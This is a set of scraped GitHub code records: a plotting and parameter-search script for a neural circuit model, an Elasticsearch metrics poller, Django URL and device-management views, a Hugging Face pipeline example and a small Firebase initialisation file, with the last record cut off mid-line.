vmin=minmin, vmax=maxmax, norm=norm)\n        #annot=mask,  fmt=\".0\", annot_kws={\"size\": 13})\n\n    ax[0].locator_params(axis='y', nbins=4)\n    ax[0].locator_params(axis='x', nbins=4)\n    \n    h1.set_xlabel(r'$\\tau$')\n    #h1.set_xlabel(p2)\n    h1.set_ylabel(r'$K$', fontsize=11)\n    h1.set_title(title1, fontsize=11)\n\n    h2.set_xlabel(r'$\\tau$')\n    #h2.set_xlabel(p2)\n    h2.set_title(title2, fontsize=11)\n    \n    \n\ndef slope_behavior(short, long, p1, p1_lst, p2, p2_lst, cmap, mask_s, mask_l, n_colors=20, norm=False):\n    cmap = sns.color_palette(cmap, n_colors=n_colors)\n    minmin = np.min([np.nanmin(short), np.nanmin(long)])\n    maxmax = np.max([np.nanmax(short), np.nanmax(long)])\n    print(minmin, maxmax)\n    \n    fig, ax = plt.subplots(1,2, figsize=(4,1.6), sharex=True, sharey=True)\n    \n    cbar_ax = fig.add_axes([.91, 0.2, .02, .6]) #x, y, breite, höhe\n    h1 = sns.heatmap(short, xticklabels=p2_lst, yticklabels=p1_lst, ax=ax[0], cmap = cmap, cbar=False,  vmin=minmin, vmax=maxmax, norm=norm,\n        annot=mask_s,  fmt='.2', annot_kws={\"size\": 5})\n    h2 = sns.heatmap(long, xticklabels=p2_lst, yticklabels=p1_lst, ax=ax[1], cmap = cmap, cbar_ax= cbar_ax, vmin=minmin, vmax=maxmax, norm=norm,\n        annot=mask_l,  fmt='.2', annot_kws={\"size\": 4})\n\n    ax[0].locator_params(axis='y', nbins=4)\n    ax[0].locator_params(axis='x', nbins=4)\n    \n    h1.set_xlabel(r'$\\tau$')\n    h1.set_ylabel(r'$K$')\n    h1.set_title(title1, fontsize=11)\n\n    h2.set_xlabel(r'$\\tau$')\n    h2.set_title(title2, fontsize=11)\n    \n    \n    \ndef get_mse(data, K_lst, tau):\n    bias2 = to_matrix(data, len(K_lst), len(tau), 'bias2')\n    var = to_matrix(data, len(K_lst), len(tau), 'var')\n    return bias2+var\n\n\ndef plot_slope(short, long, K_lst, tau, n_colors=20):\n    short_ktau_slope = to_matrix(short, len(K_lst), len(tau), 'slope')\n    long_ktau_slope = to_matrix(long, len(K_lst), len(tau), 'slope')\n    divnorm=mpl.colors.TwoSlopeNorm(vcenter=0, vmin=-1.2, vmax=1.2)\n    # specify plot style\n    name = 'tau'\n    ############\n    #name='initialization'\n    #tau = []\n    ############\n    figure_create_parameter_plot(short_ktau_slope, long_ktau_slope, short_ktau_slope-long_ktau_slope, 'K', K_lst, name, tau, 'coolwarm', n_colors=n_colors, norm=divnorm)\n    \n    \ndef plot_slope_behavior(short, long, K_lst, tau, n_colors=20):\n    short_ktau_slope = to_matrix(short, len(K_lst), len(tau), 'slope')\n    long_ktau_slope = to_matrix(long, len(K_lst), len(tau), 'slope')\n    divnorm=mpl.colors.TwoSlopeNorm(vcenter=0, vmin=-1.2, vmax=1.2)\n    # specify plot style\n    np_mask_s = np.where(((short_ktau_slope>0.77)&(short_ktau_slope<0.88)), short_ktau_slope, np.NaN)\n    np_mask_l = np.where(((long_ktau_slope>0.67)&(long_ktau_slope<0.78)), long_ktau_slope, np.NaN)\n    mask_s = pd.DataFrame(np_mask_s)\n    mask_l = pd.DataFrame(np_mask_l)\n    mask_s = mask_s.replace(np.nan, '')\n    mask_l = mask_l.replace(np.nan, '')\n    slope_behavior(short_ktau_slope, long_ktau_slope, 'K', K_lst, 'tau', tau, 'coolwarm', mask_s, mask_l, n_colors=n_colors, norm=divnorm)\n\ndef parameter_behavioural_plausible(short, long, K_lst, tau):\n    short_ktau_slope = to_matrix(short, len(K_lst), len(tau), 'slope')\n    long_ktau_slope = to_matrix(long, len(K_lst), len(tau), 'slope')\n    combi = []\n    for k in K_lst:\n        for t in tau:\n            s = str(k)+','+str(t)\n            combi.append(s)\n    print(title1)\n    mask = list(np.where(((short_ktau_slope.flatten()>=0.77) & (short_ktau_slope.flatten()<=0.88)))[0])\n    print(np.array(combi)[mask])\n    print(title2)\n    mask = list(np.where(((long_ktau_slope.flatten()>=0.67) & (long_ktau_slope.flatten()<=0.78)))[0])\n    print(np.array(combi)[mask])\n    \n    \ndef plot_mse_sep(short_, long_, K_lst, seed):\n    short = get_mse(short_, K_lst, seed)\n    long = get_mse(long_, K_lst, seed)\n    \n    cmap = sns.color_palette('gist_heat_r', n_colors=50)\n    #minmin = np.min([np.nanmin(short), np.nanmin(long), np.nanmin(shortlong)])\n    #maxmax = np.max([np.nanmax(short), np.nanmax(long), np.nanmax(shortlong)])\n    \n    fig, ax = plt.subplots(1,2, figsize=(4,1.6), sharex=True, sharey=True)\n    cbar_ax = fig.add_axes([.91, 0.2, .02, .6])\n    #if norm == 'log':\n        #norm = mpl.colors.LogNorm(vmin=minmin, vmax=maxmax)\n\n    h1 = sns.heatmap(short, xticklabels=False, yticklabels=K_lst, ax=ax[0], cmap = cmap, cbar=False)\n    h2 = sns.heatmap(long, xticklabels=False, yticklabels=K_lst, ax=ax[1], cmap = cmap, cbar_ax=cbar_ax)\n\n    ax[0].locator_params(axis='y', nbins=4)\n    ax[0].locator_params(axis='x', nbins=4)\n    \n    h1.set_xlabel('initialization')\n    h1.set_ylabel(r'$K$')\n    h1.set_title(title1, fontsize=11)\n\n    h2.set_xlabel('initialization')\n    h2.set_title(title2, fontsize=11)\n    \n\ndef plot_mse(short, long, K_lst, tau, full=True):\n    plot = True\n    if full:\n        error_short = get_mse(short, K_lst, tau)\n        error_long = get_mse(long, K_lst, tau)\n    if full=='bias2':\n        error_short = to_matrix(short, len(K_lst), len(tau), 'bias2')\n        error_long = to_matrix(long, len(K_lst), len(tau), 'bias2')\n    if full=='var':\n        error_short = to_matrix(short, len(K_lst), len(tau), 'var')\n        error_long = to_matrix(long, len(K_lst), len(tau), 'var')\n    if full=='bias':\n        error_short = to_matrix(short, len(K_lst), len(tau), 'bias')\n        error_long = to_matrix(long, len(K_lst), len(tau), 'bias')\n        minmin = np.min([np.nanmin(error_short), np.nanmin(error_long)])\n        maxmax = np.max([np.nanmax(error_short), np.nanmax(error_long)])\n        compromise=minmin\n        divnorm=mpl.colors.TwoSlopeNorm(vcenter=0, vmin=compromise, vmax=-compromise)\n        # specify plot style\n        figure_create_parameter_plot(error_short, error_long, (error_short+error_long)/2, 'K', K_lst, 'tau', tau, 'coolwarm', n_colors=50, norm=divnorm)\n        plot=False\n    if plot:\n        # specify plot style\n        figure_create_parameter_plot(error_short, error_long, (error_short+error_long)/2, 'K', K_lst, 'tau', tau, 'gist_heat_r', n_colors=50, norm = 'log')\n    \n\n\ndef plot_mse_total(short, long, K_lst, tau):\n    short_ktau_mse = to_matrix(short, len(K_lst), len(tau), 'MSE')\n    long_ktau_mse = to_matrix(long, len(K_lst), len(tau), 'MSE')\n    # specify plot style\n    figure_create_parameter_plot(short_ktau_mse, long_ktau_mse, (short_ktau_mse+long_ktau_mse)/2, 'K', K_lst, 'tau', tau, 'gist_heat_r', n_colors=50)\n    \n\n    \ndef plot_ind_point(short, long, K_lst, tau):\n    short_ktau_indp = to_matrix(short, len(K_lst), len(tau), 'ind_point')\n    long_ktau_indp = to_matrix(long, len(K_lst), len(tau), 'ind_point')\n    divnorm = mpl.colors.TwoSlopeNorm(vcenter=0, vmin=-500, vmax=500)\n    short_ktau_indp_delta =  short_ktau_indp - stimulus_range_s[int(len(stimulus_range_s)/2)]\n    long_ktau_indp_delta =  long_ktau_indp - stimulus_range_l[int(len(stimulus_range_l)/2)]\n    # specify plot style\n    figure_create_parameter_plot(short_ktau_indp_delta, long_ktau_indp_delta, (short_ktau_indp_delta-long_ktau_indp_delta)/2, 'K', K_lst, 'tau', tau, 'coolwarm', n_colors=20, norm=divnorm)\n    \n    \n    \ndef get_opt_K(data, K_lst, tau, mse=False, var=False, bias=False, bias2=False):\n    if var: \n        data_ = to_matrix(data, len(K_lst), len(tau), 'var')\n    if bias2: \n        data_ = to_matrix(data, len(K_lst), len(tau), 'bias2')\n    if bias: \n        data_ = abs(to_matrix(data, len(K_lst), len(tau), 'bias'))\n    if mse: \n        data_ = get_mse(data, K_lst, tau)\n    data_ = np.nan_to_num(data_, nan=np.inf)\n    data_[data_ == 0] = np.inf #none\n    opt = np.nanargmin(data_, axis=0)\n    opt_overall = np.where(data_==np.nanmin(data_))\n    print(tau[opt_overall[1][0]], K_lst[opt_overall[0][0]])\n    \n    return list(zip(tau, K_lst[opt]))\n\ndef get_mean_seed(data, K_lst, seed, getlist=False):\n    if getlist:\n        return list(zip(*get_opt_K(data, K_lst, seed, mse=True)))[1]\n    else:\n        return np.mean(list(zip(*get_opt_K(data, K_lst, seed, mse=True)))[1]), np.std(list(zip(*get_opt_K(data, K_lst, seed, mse=True)))[1])\n    \ndef get_mean_slope(data, K_lst, seed, mse=False):\n    data_ = get_mse(data, K_lst, seed)\n    data_ = np.nan_to_num(data_, nan=np.inf)\n    data_[data_ == 0] = np.inf #none\n    opt = np.nanargmin(data_, axis=0)\n    if mse:\n        return np.nanmin(data_, axis=0)\n    slope = to_matrix(data, len(K_lst), len(seed), 'slope')\n    opt_slope = []\n    for i,j in zip(range(21), opt):\n        opt_slope.append(slope.T[i][j])\n    print(np.mean(opt_slope))\n    return opt_slope\n\n\ndef create_search_space(srange, K_lst, th_lst, tau, delay_lst):\n    search_space = []\n\n    if srange == 'short':\n        stimulus_range = [400, 450, 500, 550, 600, 650, 700]\n    if srange == 'long':\n        stimulus_range = [700, 750, 800, 850, 900, 950, 1000]\n    if K_lst== True:\n        K_lst = np.arange(0.5, 10.5, 0.5)\n    if th_lst== True:\n        th_lst = np.arange(0.6, 0.75, 0.01)\n    if delay_lst== True:\n        delay_lst = np.arange(400, 1000, 50)\n    if tau== True:\n        tau = np.arange(60, 200, 10)\n    \n    i = 0\n    for K in K_lst:\n        for th in th_lst:\n            for t in tau:\n                for delay in delay_lst:\n                    i += 1\n                    search_space.append((stimulus_range, K, th, t, delay))\n    print(i)\n    return search_space", "repo_name": "KatharinaBracher/neural-circuit-model", "sub_path": "code/parameter_tuning.py", "file_name": "parameter_tuning.py", "file_ext": "py", "file_size_in_byte": 13517, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.loadtxt", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 16, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 34, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 44, "usage_type": "call"}, {"api_name": "seaborn.color_palette", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.nanmin", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.nanmax", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}, {"api_name": "matplotlib.colors.LogNorm", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.colors", "line_number": 59, "usage_type": "attribute"}, {"api_name": "seaborn.heatmap", "line_number": 62, "usage_type": "call"}, {"api_name": "seaborn.heatmap", "line_number": 63, "usage_type": "call"}, {"api_name": "seaborn.heatmap", "line_number": 64, "usage_type": "call"}, {"api_name": "seaborn.heatmap", "line_number": 67, "usage_type": "call"}, {"api_name": "seaborn.heatmap", "line_number": 68, "usage_type": "call"}, {"api_name": "seaborn.heatmap", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 81, "usage_type": "name"}, {"api_name": "seaborn.color_palette", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.nanmin", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.nanmax", "line_number": 88, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 91, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 91, "usage_type": "name"}, {"api_name": "matplotlib.colors.LogNorm", "line_number": 93, "usage_type": "call"}, {"api_name": "matplotlib.colors", "line_number": 93, "usage_type": "attribute"}, {"api_name": "seaborn.heatmap", "line_number": 96, "usage_type": "call"}, {"api_name": "seaborn.heatmap", "line_number": 97, "usage_type": "call"}, {"api_name": "seaborn.heatmap", "line_number": 101, "usage_type": "call"}, {"api_name": "seaborn.heatmap", "line_number": 103, "usage_type": "call"}, {"api_name": "seaborn.color_palette", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.nanmin", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.nanmax", "line_number": 124, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 127, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 127, "usage_type": "name"}, {"api_name": "seaborn.heatmap", "line_number": 130, "usage_type": "call"}, {"api_name": "seaborn.heatmap", "line_number": 132, "usage_type": "call"}, {"api_name": "matplotlib.colors.TwoSlopeNorm", "line_number": 156, "usage_type": "call"}, {"api_name": "matplotlib.colors", "line_number": 156, "usage_type": "attribute"}, {"api_name": "matplotlib.colors.TwoSlopeNorm", "line_number": 169, "usage_type": "call"}, {"api_name": "matplotlib.colors", "line_number": 169, "usage_type": "attribute"}, {"api_name": "numpy.where", "line_number": 171, "usage_type": "call"}, {"api_name": "numpy.NaN", "line_number": 171, "usage_type": "attribute"}, {"api_name": "numpy.where", "line_number": 172, "usage_type": "call"}, {"api_name": "numpy.NaN", "line_number": 172, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 173, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 174, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 175, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 176, "usage_type": "attribute"}, {"api_name": "numpy.where", "line_number": 188, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 189, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 191, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 192, "usage_type": "call"}, {"api_name": "seaborn.color_palette", "line_number": 199, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 203, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 203, "usage_type": "name"}, {"api_name": "seaborn.heatmap", "line_number": 208, "usage_type": "call"}, {"api_name": "seaborn.heatmap", "line_number": 209, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 236, "usage_type": "call"}, {"api_name": "numpy.nanmin", "line_number": 236, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 237, "usage_type": "call"}, {"api_name": "numpy.nanmax", "line_number": 237, "usage_type": "call"}, {"api_name": "matplotlib.colors.TwoSlopeNorm", "line_number": 239, "usage_type": "call"}, {"api_name": "matplotlib.colors", "line_number": 239, "usage_type": "attribute"}, {"api_name": "matplotlib.colors.TwoSlopeNorm", "line_number": 260, "usage_type": "call"}, {"api_name": "matplotlib.colors", "line_number": 260, "usage_type": "attribute"}, {"api_name": "numpy.nan_to_num", "line_number": 277, "usage_type": "call"}, {"api_name": "numpy.inf", "line_number": 277, "usage_type": "attribute"}, {"api_name": "numpy.inf", "line_number": 278, "usage_type": "attribute"}, {"api_name": "numpy.nanargmin", "line_number": 279, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 280, "usage_type": "call"}, {"api_name": "numpy.nanmin", "line_number": 280, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 289, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 289, "usage_type": "call"}, {"api_name": "numpy.nan_to_num", "line_number": 293, "usage_type": "call"}, {"api_name": "numpy.inf", "line_number": 293, "usage_type": "attribute"}, {"api_name": "numpy.inf", "line_number": 294, "usage_type": "attribute"}, {"api_name": "numpy.nanargmin", "line_number": 295, "usage_type": "call"}, {"api_name": "numpy.nanmin", "line_number": 297, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 302, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 314, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 316, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 318, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 320, "usage_type": "call"}]}
{"seq_id": "24470980535", "text": "from __future__ import absolute_import\nfrom __future__ import print_function\n\nimport argparse\nimport socket\nimport sys\nimport time\n\nfrom . import carbon\nfrom . import es\n\n\ndef main():\n    parser = argparse.ArgumentParser()\n    parser.add_argument('elasticsearch_url', help='URL for Elasticsearch')\n    parser.add_argument('carbon_host', help='Hostname of the Carbon server')\n    parser.add_argument(\n        'carbon_port', type=int, help='Port of the Carbon server')\n    parser.add_argument('prefix', help='Graphite prefix to use')\n    parser.add_argument(\n        '-p', '--poll', type=int, default=5,\n        help='How many seconds to wait before polling again. Defaults to 5')\n    parser.add_argument('--master-only', action='store_true')\n    args = parser.parse_args()\n    carbon_server = (args.carbon_host, int(args.carbon_port))\n    is_master_node = es.is_master_node(args.elasticsearch_url)\n\n    while 1:\n        if args.master_only and not is_master_node:\n            print(\"ES is not master, skipping\")\n            time.sleep(60)\n            continue\n        start = time.time()\n\n        try:\n            index_stats = es.get_index_stats(args.elasticsearch_url)\n            node_stats = es.get_all_node_stats(args.elasticsearch_url)\n            shard_stats = es.get_shard_stats(args.elasticsearch_url)\n        except (ValueError, socket.error) as exc:\n            print(exc, file=sys.stderr)\n        else:\n            carbon.push_index_stats(carbon_server, index_stats, args.prefix)\n            carbon.push_node_stats(carbon_server, node_stats, args.prefix)\n            carbon.push_shard_stats(carbon_server, shard_stats, args.prefix)\n\n        end = time.time()\n        wait = max(1, args.poll - (end - start))\n        time.sleep(wait)\n    return 0\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n", "repo_name": "lyst/elasticstats", "sub_path": "elasticstats/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1807, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "78", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 14, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 31, "usage_type": "call"}, {"api_name": "time.time", "line_number": 33, "usage_type": "call"}, {"api_name": "socket.error", "line_number": 39, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 40, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 46, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 48, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 53, "usage_type": "call"}]}
{"seq_id": "12589801853", "text": "from django.conf import settings\nfrom django.conf.urls import url\nfrom django.contrib import admin\nfrom django.contrib.staticfiles.views import serve\nfrom django.urls import re_path, include\n\nadmin.autodiscover()\n\n\nurlpatterns = [\n    url(r'^admin/', admin.site.urls),\n    url(r'quote/',\n        include(\n            ('covercore.apps.quote.urls',\n             'covercore.apps.quote'),\n            namespace='quote')),\n    url(r'',\n        include(\n            ('covercore.apps.core.urls',\n             'covercore.apps.core'),\n            namespace='core')),\n]\n\nif settings.DEBUG_STATIC_FILES:\n    urlpatterns += [re_path(r'^devstatic/(?P<path>.*)$', serve)]\n", "repo_name": "pronym-inc/covercore", "sub_path": "covercore/conf/urls/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 658, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.contrib.admin.autodiscover", "line_number": 7, "usage_type": "call"}, {"api_name": "django.contrib.admin", "line_number": 7, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 11, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 11, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 11, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 13, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 17, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 18, "usage_type": "call"}, {"api_name": "django.conf.settings.DEBUG_STATIC_FILES", "line_number": 24, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 24, "usage_type": "name"}, {"api_name": "django.urls.re_path", "line_number": 25, "usage_type": "call"}, {"api_name": "django.contrib.staticfiles.views.serve", "line_number": 25, "usage_type": "argument"}]}
{"seq_id": "27667265365", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\"\"\"\nhttps://huggingface.co/docs/transformers/pipeline_tutorial\n\"\"\"\nimport argparse\nimport os\nfrom typing import List\n\nfrom project_settings import project_path\n\nhf_hub_cache = (project_path / \"cache/huggingface/hub\").as_posix()\n\nos.environ[\"HUGGINGFACE_HUB_CACHE\"] = hf_hub_cache\n\nfrom datasets import load_dataset\nfrom transformers import pipeline\nfrom transformers.pipelines.pt_utils import KeyDataset\n\n\ndef get_args():\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\n        \"--task\",\n        default=\"automatic-speech-recognition\",\n        type=str\n    )\n    parser.add_argument(\n        \"--model_name\",\n        default=\"hf-internal-testing/tiny-random-wav2vec2\",\n        type=str\n    )\n\n    parser.add_argument(\n        \"--device\",\n        default=-1,\n        type=int\n    )\n\n    parser.add_argument(\n        \"--dataset_path\",\n        default=\"hf-internal-testing/librispeech_asr_dummy\",\n        type=str\n    )\n    parser.add_argument(\n        \"--dataset_name\",\n        default=\"clean\",\n        type=str\n    )\n    parser.add_argument(\n        \"--dataset_split\",\n        default=\"validation[:10]\",\n        type=str\n    )\n    parser.add_argument(\n        \"--dataset_cache_dir\",\n        default=(project_path / \"hub_datasets\").as_posix(),\n        type=str\n    )\n    args = parser.parse_args()\n    return args\n\n\ndef main():\n    args = get_args()\n\n    pipe = pipeline(\n        model=args.model_name,\n        device=args.device\n    )\n    dataset = load_dataset(\n        path=args.dataset_path,\n        name=args.dataset_name,\n        split=args.dataset_split,\n        cache_dir=args.dataset_cache_dir\n    )\n\n    for out in pipe(KeyDataset(dataset=dataset, key=\"audio\")):\n        print(out)\n    return\n\n\nif __name__ == '__main__':\n    main()\n", "repo_name": "qgyd2021/Transformers", "sub_path": "examples/tutorials/run_inference_with_pipelines/load_dataset.py", "file_name": "load_dataset.py", "file_ext": "py", "file_size_in_byte": 1799, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "project_settings.project_path", "line_number": 12, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 14, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 22, "usage_type": "call"}, {"api_name": "project_settings.project_path", "line_number": 57, "usage_type": "name"}, {"api_name": "transformers.pipeline", "line_number": 67, "usage_type": "call"}, {"api_name": "datasets.load_dataset", "line_number": 71, "usage_type": "call"}, {"api_name": "transformers.pipelines.pt_utils.KeyDataset", "line_number": 78, "usage_type": "call"}]}
{"seq_id": "37173133503", "text": "import pyrebase\nimport random\nimport time\nconfig = {\n    \"apiKey\": \"AIzaSyBp8zIkQHu5YQBbNIyzF4jjmgne4qJn9q4\",\n    \"authDomain\": \"peasbhmsr.firebaseapp.com\",\n    \"databaseURL\": \"https://peasbhmsr.firebaseio.com\",\n    \"storageBucket\": \"bucket.appspot.com\",\n}\n\nfirebase = pyrebase.initialize_app(config)\n\ndb = firebase.database()\n\n\n\n\n\n", "repo_name": "Soulweed/Agent", "sub_path": "EgaugeMeterAgent/test2.py", "file_name": "test2.py", "file_ext": "py", "file_size_in_byte": 332, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pyrebase.initialize_app", "line_number": 11, "usage_type": "call"}]}
{"seq_id": "74132634825", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nimport logging\nfrom datetime import datetime, timedelta\nfrom django.utils import timezone\n\nimport requests\nfrom django.db.models import Q, Sum\nfrom django.core.files.base import ContentFile, File\nfrom django.http import JsonResponse, HttpResponse\nfrom django.shortcuts import render\nfrom django.contrib.auth.decorators import login_required\nfrom django.template.loader import render_to_string\nfrom django.utils import timezone\n\nfrom entidades.models import Gauser_extra\nfrom entidades.views import decode_selectgcs\nfrom gauss.funciones import html_to_pdf, pass_generator, usuarios_ronda\nfrom gauss.rutas import RUTA_MEDIA, MEDIA_VUT, RUTA_BASE\nfrom autenticar.control_acceso import permiso_required\nfrom mensajes.models import Aviso\nfrom autenticar.models import Permiso, Gauser\nfrom mensajes.views import encolar_mensaje, crear_aviso\nfrom domotica.models import *\nfrom domotica.mqtt import client\nfrom vut.models import Vivienda, DomoticaVUT\nfrom vut.views import viviendas_autorizado\n\n\n# @permiso_required('acceso_dispositivos')\ndef dispositivos(request):\n    g_e = request.session['gauser_extra']\n    Etiqueta_domotica.objects.get_or_create(entidad=g_e.ronda.entidad, nombre='General')\n    gpds = GauserPermitidoDispositivo.objects.filter(dispositivo__entidad=g_e.ronda.entidad,\n                                                     gauser=g_e.gauser).values_list('dispositivo__id', flat=True)\n    q = Q(id__in=gpds) | Q(propietario=g_e.gauser)\n    disps = Dispositivo.objects.filter(Q(entidad=g_e.ronda.entidad), q).distinct()\n    etiquetas = Etiqueta_domotica.objects.filter(entidad=g_e.ronda.entidad)\n    if request.method == 'POST' and request.is_ajax():\n        if request.POST['action'] == 'ver_formulario_crear' and g_e.has_permiso('crea_dispositivos_domotica'):\n            try:\n                d = Dispositivo(propietario=g_e.gauser, nombre='Nombre del dispositivo', texto='Texto descripción')\n                html = render_to_string('dispositivos_fieldset_crear.html', {'g_e': g_e, 'etiquetas': etiquetas,\n                                                                             'dispositivo': d})\n                return JsonResponse({'ok': True, 'html': html})\n            except:\n                return JsonResponse({'ok': False})\n        elif request.POST['action'] == 'crea_dispositivo' and g_e.has_permiso('crea_dispositivos_domotica'):\n            try:\n                try:\n                    etiqueta = Etiqueta_domotica.objects.get(entidad=g_e.ronda.entidad,\n                                                             id=request.POST['select_etiqueta'])\n                except:\n                    etiqueta = Etiqueta_domotica.objects.get(entidad=g_e.ronda.entidad, nombre='General')\n                d = Dispositivo.objects.create(entidad=g_e.ronda.entidad, propietario=g_e.gauser, etiqueta=etiqueta,\n                                               plataforma=request.POST['plataforma'], texto=request.POST['texto'],\n                                               mqtt_port=request.POST['mqtt_port'], nombre=request.POST['nombre'],\n                                               mqtt_id=request.POST['mqtt_id'], mqtt_topic=request.POST['mqtt_topic'],\n                                               ifttt=request.POST['ifttt'], mqtt_broker=request.POST['mqtt_broker'],\n                                               tipo=request.POST['tipo'])\n                html = render_to_string('dispositivos_table_tr.html', {'disps': [d], 'g_e': g_e})\n                return JsonResponse({'ok': True, 'html': html})\n            except:\n                return JsonResponse({'ok': False})\n        elif request.POST['action'] == 'ver_formulario_crear_etiqueta' and g_e.has_permiso('crea_carpetas'):\n            try:\n                html = render_to_string(\"dispositivos_fieldset_etiqueta.html\", {'etiquetas': etiquetas})\n                return JsonResponse({'ok': True, 'html': html})\n            except:\n                return JsonResponse({'ok': False})\n        elif request.POST['action'] == 'ver_formulario_editar_carpeta' and g_e.has_permiso('edita_carpetas'):\n            try:\n                e = Etiqueta_domotica.objects.get(id=request.POST['etiqueta'])\n                html = render_to_string(\"dispositivos_fieldset_etiqueta_editar.html\",\n                                        {'etiquetas': etiquetas, 'etiqueta': e})\n                return JsonResponse({'ok': True, 'html': html})\n            except:\n                return JsonResponse({'ok': False})\n        elif request.POST['action'] == 'modifica_etiqueta' and g_e.has_permiso('edita_carpetas'):\n            try:\n                nombre = request.POST['nombre']\n                try:\n                    Etiqueta_domotica.objects.get(entidad=g_e.ronda.entidad, nombre__iexact=nombre)\n                    return JsonResponse({'ok': False, 'mensaje': 'Ya existe una etiqueta/carpeta con ese nombre.'})\n                except:\n                    e = Etiqueta_domotica.objects.get(id=request.POST['etiqueta'])\n                    e.nombre = nombre\n                    try:\n                        e.padre = Etiqueta_domotica.objects.get(id=request.POST['padre'])\n                    except:\n                        e.padre = None\n                    e.save()\n                    html = render_to_string('dispositivos_table_tr.html', {'disps': disps, 'g_e': g_e})\n                    return JsonResponse({'ok': True, 'html': html})\n            except:\n                return JsonResponse({'ok': False})\n        elif request.POST['action'] == 'ver_formulario_buscar':\n            try:\n                html = render_to_string(\"dispositivos_fieldset_buscar.html\", {'etiquetas': etiquetas, 'g_e': g_e})\n                return JsonResponse({'ok': True, 'html': html})\n            except:\n                return JsonResponse({'ok': False})\n        elif request.POST['action'] == 'crea_etiqueta' and g_e.has_permiso('crea_carpetas'):\n            try:\n                nombre = request.POST['nombre']\n                try:\n                    Etiqueta_domotica.objects.get(entidad=g_e.ronda.entidad, nombre__iexact=nombre)\n                    return JsonResponse({'ok': False, 'mensaje': 'Ya existe una etiqueta/carpeta con ese nombre.'})\n                except:\n                    if request.POST['padre']:\n                        padre = Etiqueta_domotica.objects.get(entidad=g_e.ronda.entidad, id=request.POST['padre'])\n                        Etiqueta_domotica.objects.create(entidad=g_e.ronda.entidad, padre=padre, nombre=nombre)\n                    else:\n                        Etiqueta_domotica.objects.create(entidad=g_e.ronda.entidad, nombre=nombre)\n                    return JsonResponse({'ok': True})\n            except:\n                return JsonResponse({'ok': False})\n        elif request.POST['action'] == 